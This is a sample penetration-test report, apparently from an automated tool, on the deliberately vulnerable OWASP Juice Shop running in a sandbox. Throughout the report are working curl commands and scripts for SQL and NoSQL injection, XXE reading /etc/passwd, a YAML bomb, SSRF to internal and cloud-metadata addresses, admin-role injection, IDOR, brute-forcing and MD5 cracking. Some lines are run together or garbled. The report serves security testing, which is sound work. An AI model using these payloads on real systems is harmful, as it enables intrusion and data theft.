sample-reports/shannon-report-juice-shop.md
Authentication Vulnerabilities: Critical authentication failures including SQL injection authentication bypass, brute force attacks due to missing rate limiting, MD5 password cracking, OAuth nOAuth attacks with predictable passwords, account enumeration via reset flows, and token replay vulnerabilities. These vulnerabilities provide complete system compromise and unauthorized access to all user accounts.
Authorization Vulnerabilities: Systemic authorization bypass including anonymous access to all user memories, admin role injection during registratio, horizontal privilege escalation via IDOR vulnerabilities across user profiles, baskets, and feedback systems, and business logic bypasses including deluxe membership payment bypass and cross-user order checkout.
Cross-Site Scripting (XSS) Vulnerabilities: Multiple XSS attack vectors including reflected XSS in search parameters via Angular security bypass, JSONP callback XSS enabling cross-domain attacks, and potential stored XSS in admin panels and data export functionality (blocked by CAPTCHA protection).
SQL/Command Injection Vulnerabilities: Critical injection vulnerabilities including SQL authentication bypass, UNION-based SQL injection for complete database extraction, NoSQL operator injection enabling mass data manipulation, XXE file disclosure, and YAML injection DoS attacks. Additional potential RCE via VM sandbox escape (challenge-gated).
Server-Side Request Forgery (SSRF) Vulnerabilities: SSRF vulnerability in profile image URL upload with HTTP method bypass enabling internal service access, cloud metadata endpoint access, and network boundary bypass for reconnaissance and potential data exfiltration.
Open Ports and Services: [REDACTED]
Security Misconfigurations: [REDACTED]
SSL/TLS Configuration: [REDACTED]
Summary:
Prerequisites: None - publicly accessible endpoint
Exploitation Steps:
curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \
-H "Content-Type: application/json" \
-d '{"email":"'\'' OR '\''1'\''='\''1'\'' --","password":"test"}'
{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
"bid": 1,
"umail": "[email protected]"
}
}
Proof of Impact: Successfully bypassed authentication and obtained admin-level access token for user ID 1 ([email protected]) with role "admin". This provides complete administrative access to the application.
Notes:
The vulnerability exists due to direct string interpolation in SQL query construction at /routes/login.ts:34. The email field accepts arbitrary SQL commands allowing complete database access.
Summary:
Prerequisites: None - publicly accessible endpoint
Exploitation Steps:
curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=test'"
Response: SQL syntax error confirming vulnerability
curl -s "http://juice-shop.sandbox.local:3001/rest/products/search?q=xxx%25%27%29%20AND%20description%20LIKE%20%27%25xxx%25%27%29%20UNION%20SELECT%20id,email,password,role,0,0,0,0,0%20FROM%20Users%20LIMIT%205--"
Proof of Impact: Successfully extracted user database containing:
Notes: SQLite database confirmed via error messages. UNION injection requires proper closure of LIKE clauses in both name and description fields.
Summary:
Prerequisites: Valid JWT authentication token (obtained via INJ-VULN-01)
Exploitation Steps:
Authenticate using bypassed admin token from INJ-VULN-01
Execute NoSQL operator injection to modify all reviews:
curl -X PATCH "http://juice-shop.sandbox.local:3001/rest/products/reviews" \
-H "Authorization: Bearer [ADMIN_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"id":{"$ne":-1},"message":"HACKED - All reviews modified"}'
Proof of Impact: Successfully modified 28 reviews in the database using $ne (not equal) operator. The response confirmed:
Notes: The $ne operator bypassed intended single-document update restrictions due to object injection vulnerability and { multi: true } setting.
Summary:
Prerequisites: Valid JWT authentication token
Exploitation Steps:
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \
-H "Authorization: Bearer [TOKEN]" \
-F "file=@xxe_test.xml"
Proof of Impact:
Successfully extracted /etc/passwd file contents:
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
Notes: XXE vulnerability confirmed via libxml.parseXml() with noent: true configuration enabling external entity processing.
Summary:
Prerequisites: Valid JWT authentication token
Exploitation Steps:
a: &a ["x","x","x","x","x"]
b: &b [*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b]
curl -X POST "http://juice-shop.sandbox.local:3001/file-upload" \
-H "Authorization: Bearer [TOKEN]" \
-F "file=@yaml_bomb.yml"
Proof of Impact: Successfully triggered exponential object expansion visible in error response showing nested array structure expanding as designed. The YAML bomb consumed server resources through anchor/reference expansion.
Notes: Vulnerability exists due to unsafe yaml.load() method usage instead of yaml.safeLoad() in js-yaml library.
Summary:
Prerequisites: None - publicly accessible without authentication
Exploitation Steps:
http://juice-shop.sandbox.local:3001/#/search?q=Proof of Impact: Successfully achieved JavaScript execution as evidenced by alert dialog displaying "XSS" message. The payload `` was injected into the search parameter and executed without any sanitization.
Notes: This vulnerability can be used for session hijacking by replacing the alert with cookie exfiltration code. The attack works because Angular's bypassSecurityTrustHtml() method explicitly bypasses XSS protection for search result display.
Summary:
Prerequisites: None - endpoint accessible without authentication
Exploitation Steps:
const script = document.createElement('script');
script.src = '/rest/user/whoami?callback=alert';
document.head.appendChild(script);
Proof of Impact:
Successfully achieved JavaScript execution as evidenced by alert dialog displaying "[object Object]" containing user data. The JSONP endpoint generates response format: /**/ typeof alert === 'function' && alert({"user":{}}); which executes the injected callback function.
Notes: This vulnerability enables cross-domain attacks and can be used to exfiltrate user data from the JSONP endpoint. Attackers can host malicious pages that include this endpoint as a script source to steal user information.
Summary:
Exploitation Steps:
Identify SQL injection vulnerability in login query structure: SELECT * FROM Users WHERE email = '${req.body.email}'
Execute SQL injection payload to bypass authentication:
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]'\'' OR 1=1-- ","password":"anything"}'
{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9...",
"bid": 1,
"umail": "[email protected]"
}
}
curl "http://juice-shop.sandbox.local:3001/api/Users" \
-H "Authorization: Bearer [JWT_TOKEN]"
Proof of Impact: Successfully obtained admin JWT token and accessed complete user database containing sensitive information including user emails, roles, and MD5 password hashes for all application users.
Summary:
Exploitation Steps:
# 10 rapid authentication attempts with common passwords
passwords = ["admin", "password", "123456", "admin123", ...]
for password in passwords:
response = requests.post(target_url, json={"email": "[email protected]", "password": password})
[email protected]:admin123Proof of Impact:
Demonstrated complete lack of brute force protection allowing unlimited rapid authentication attempts. Successfully discovered working admin credentials [email protected]:admin123 through automated dictionary attack.
Summary:
Exploitation Steps:
import hashlib
target_hash = "0192023a7bbd73250516f069df18b500" # admin hash
for password in wordlist:
if hashlib.md5(password.encode()).hexdigest() == target_hash:
print(f"Password found: {password}")
[email protected] → admin123[email protected] → ncc-1701demo → demo[email protected] → privateProof of Impact: Achieved 100% success rate cracking MD5 password hashes, demonstrating that all user passwords are vulnerable to rainbow table and dictionary attacks due to weak hashing algorithm.
Summary:
Exploitation Steps:
def generate_oauth_password(email):
reversed_email = email[::-1]
return base64.b64encode(reversed_email.encode()).decode()
email = "[email protected]"
password = generate_oauth_password(email)
# Result: "bW9jLmxpYW1nQGhjaW5pbW1pay5ucmVvamI="
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"bW9jLmxpYW1nQGhjaW5pbW1paz5ucmVvamI="}'
Proof of Impact: Successfully compromised administrator OAuth account using predictable password generation algorithm, obtaining valid JWT token with admin privileges.
Summary:
Exploitation Steps:
curl "http://juice-shop.sandbox.local:3001/rest/user/[email protected]"
Response: {"question":{"id":2,"question":"Mother's maiden name?","createdAt":"2025-09-16T16:47:15.131Z","updatedAt":"2025-09-16T16:47:15.131Z"}} (134 bytes)
curl "http://juice-shop.sandbox.local:3001/rest/user/[email protected]"
Response: {} (2 bytes)
[email protected] (returns security question)[email protected] (returns security question)[email protected] (returns security question)demo (returns security question)Proof of Impact: Successfully enumerated valid user accounts through response pattern analysis, obtaining security questions for each valid account enabling further social engineering attacks.
Summary:
Exploitation Steps:
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-d '{"email":"[email protected]","password":"ncc-1701"}'
curl "http://juice-shop.sandbox.local:3001/rest/basket/2" \
-H "Authorization: Bearer [JWT_TOKEN]"
Response: HTTP 200 with user's basket data
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/logout" \
-H "Authorization: Bearer [JWT_TOKEN]"
Response: HTTP 500 "Error: Unexpected path: /rest/user/logout"
curl "http://juice-shop.sandbox.local:3001/api/Users/2" \
-H "Authorization: Bearer [JWT_TOKEN]"
Response: HTTP 200 with complete user profile data
Proof of Impact: Demonstrated that JWT tokens remain valid indefinitely as no server-side invalidation mechanism exists. Tokens can be replayed to access user accounts even after victim believes they have logged out.
Summary:
Exploitation Steps:
curl -I http://juice-shop.sandbox.local:3001/
Response: HTTP 200 OK (no HTTPS redirect)
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"testpassword"}' \
-v
Evidence of Vulnerability: Verbose output shows complete HTTP request with credentials transmitted in cleartext. Any network attacker could intercept authentication data through packet capture or man-in-the-middle attacks.
Summary:
Exploitation Steps:
curl -I "https://juice-shop.sandbox.local:3001/" | grep -i hsts
Result: No HSTS header found
Evidence of Vulnerability: Missing HTTP Strict Transport Security (HSTS) headers allow protocol downgrade attacks where attackers can strip HTTPS and force victims to communicate over unencrypted HTTP.
Summary:
Exploitation Steps:
curl -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-d '{"email":"[email protected]","password":"ncc-1701"}' \
-v 2>&1 | grep -i "set-cookie"
Result: No secure cookie headers observed
Evidence of Vulnerability: Session cookies lack HttpOnly, Secure, and SameSite flags, making them accessible to JavaScript and vulnerable to XSS-based session hijacking attacks.
Summary:
POST /profile/image/url endpoint accessible via HTTP method bypassPrerequisites:
/rest/user/login)Exploitation Steps:
Register a user account:
curl -X POST http://juice-shop.sandbox.local:3001/api/Users \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"TestPassword123","passwordRepeat":"TestPassword123","securityQuestion":{"id":1,"question":"Your eldest siblings middle name?","createdAt":"2024-01-01","updatedAt":"2024-01-01"},"securityAnswer":"test"}'
Authenticate and obtain JWT token:
curl -X POST http://juice-shop.sandbox.local:3001/rest/user/login \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","password":"TestPassword123"}'
Bypass SSRF protection using PUT method:
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"imageUrl":"http://localhost:3001/solve/challenges/server-side-request-forgery"}'
Access internal services:
# Access same server via localhost
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"imageUrl":"http://127.0.0.1:3001/rest/admin/application-configuration"}'
# Access encryption keys
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"imageUrl":"http://localhost:3001/encryptionkeys/jwt.pub"}'
# Access internal file resources
curl -X PUT http://juice-shop.sandbox.local:3001/profile/image/url \
-H "Authorization: Bearer [JWT_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"imageUrl":"http://localhost:3001/ftp/incidents/suspicious_errors.yml"}'
Proof of Impact:
Method Bypass Discovery:
Found. Redirecting to /profile (30 bytes)Internal Service Access Confirmed:
/encryptionkeys/jwt.pub and /ftp/incidents/Network Boundary Bypass:
Notes:
imageUrl parameter through Node.js fetch() API without validationhttp://169.254.169.254/latest/meta-data/Summary:
Prerequisites: None - no authentication required
Exploitation Steps:
curl -s -i "http://juice-shop.sandbox.local:3001/rest/memories"
{
"status": "success",
"data": [
{
"UserId": 13,
"id": 1,
"caption": "😼 #zatschi #whoneedsfourlegs",
"imagePath": "assets/public/images/uploads/ᓚᘏᗢ-#zatschi-#whoneedsfourlegs-1572600969477.jpg",
"User": {
"id": 13,
"email": "[email protected]",
"password": "9283f1b2e9669749081963be0462e466",
"role": "deluxe",
"deluxeToken": "efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4"
}
},
// ... 9 more user memories with full user data
]
}
Proof of Impact:
Summary:
Prerequisites: None - public registration endpoint
Exploitation Steps:
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"passwordRepeat": "Password123!",
"role": "admin"
}'
{
"status": "success",
"data": {
"id": 65,
"email": "[email protected]",
"role": "admin",
"profileImage": "/assets/public/images/uploads/defaultAdmin.png"
}
}
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!"
}'
Proof of Impact:
Summary:
Prerequisites: Valid customer-level authentication token
Exploitation Steps:
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"passwordRepeat": "Password123!"
}'
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/user/login" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!"
}'
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Products" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]" \
-H "Content-Type: application/json" \
-d '{
"name": "Hacked Product by Regular User",
"description": "This product was created by a regular customer account - proving authorization bypass!",
"price": 999.99,
"image": "malicious.jpg"
}'
{
"status": "success",
"data": {
"id": 47,
"name": "Hacked Product by Regular User",
"description": "This product was created by a regular customer account - proving authorization bypass!",
"price": 999.99
}
}
Proof of Impact:
Summary:
Prerequisites: Valid authentication token (any role)
Exploitation Steps:
curl -s -i "http://juice-shop.sandbox.local:3001/api/Users/4" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]"
{
"status": "success",
"data": {
"id": 4,
"username": "bkimminich",
"email": "[email protected]",
"role": "admin",
"profileImage": "assets/public/images/uploads/defaultAdmin.png"
}
}
curl -s "http://juice-shop.sandbox.local:3001/api/Users/13" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]"
{
"status": "success",
"data": {
"id": 13,
"email": "[email protected]",
"role": "deluxe",
"deluxeToken": "efe2f1599e2d93440d5243a1ffaf5a413b70cf3ac97156bd6fab9b5ddfcbe0e4"
}
}
Proof of Impact:
Summary:
Prerequisites: Valid authentication token (any role)
Exploitation Steps:
curl -s -i "http://juice-shop.sandbox.local:3001/rest/basket/1" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]"
{
"status": "success",
"data": {
"id": 1,
"UserId": 1,
"Products": [
{
"id": 1,
"name": "Apple Juice (1000ml)",
"price": 1.99,
"BasketItem": {
"ProductId": 1,
"BasketId": 1,
"quantity": 2
}
},
{
"id": 2,
"name": "Orange Juice (1000ml)",
"price": 2.99,
"BasketItem": {
"quantity": 3
}
}
]
}
}
Proof of Impact:
Summary:
Prerequisites: Valid authentication token (any role)
Exploitation Steps:
curl -s -i "http://juice-shop.sandbox.local:3001/api/Feedbacks/1" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]"
{
"status": "success",
"data": {
"UserId": 1,
"id": 1,
"comment": "I love this shop! Best products in town! Highly recommended! (***[email protected])",
"rating": 5
}
}
Proof of Impact:
Summary:
Prerequisites: Valid authentication token (any role)
Exploitation Steps:
curl -s -i "http://juice-shop.sandbox.local:3001/api/BasketItems/1" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]"
curl -s -i -X PUT "http://juice-shop.sandbox.local:3001/api/BasketItems/1" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]" \
-H "Content-Type: application/json" \
-d '{"quantity": 5}'
{
"status": "success",
"data": {
"ProductId": 1,
"BasketId": 1,
"id": 1,
"quantity": 5,
"updatedAt": "2025-09-22T19:17:21.994Z"
}
}
Proof of Impact:
Summary:
Prerequisites: Valid authentication token (any role)
Exploitation Steps:
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/basket/2/checkout" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]" \
-H "Content-Type: application/json" \
-d '{}'
{
"orderConfirmation": "4b18-43fe98bb0ee5172c"
}
Proof of Impact:
Summary:
Prerequisites: Valid customer authentication token
Exploitation Steps:
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/rest/deluxe-membership" \
-H "Authorization: Bearer [CUSTOMER_TOKEN]" \
-H "Content-Type: application/json" \
-d '{}'
{
"status": "success",
"data": {
"confirmation": "Congratulations! You are now a deluxe member!",
"token": "[NEW_DELUXE_JWT_TOKEN_WITH_ELEVATED_ROLE]"
}
}
Proof of Impact:
Summary:
Prerequisites: None - exploits public registration endpoint
Exploitation Steps:
This vulnerability is demonstrated by the same exploitation as AUTHZ-VULN-06, where admin role injection bypasses the intended registration workflow that should include:
The exploit directly injects admin role without completing any validation steps:
curl -s -i -X POST "http://juice-shop.sandbox.local:3001/api/Users" \
-H "Content-Type: application/json" \
-d '{
"email": "[email protected]",
"password": "Password123!",
"passwordRepeat": "Password123!",
"role": "admin"
}'
Proof of Impact:
AUTHZ EXPLOITATION COMPLETE
All 10 authorization vulnerabilities have been successfully exploited with concrete evidence of unauthorized access, privilege escalation, and workflow bypasses. The application demonstrates systemic authorization failures across horizontal privilege escalation (IDOR), vertical privilege escalation (role injection), and context-based workflow bypasses.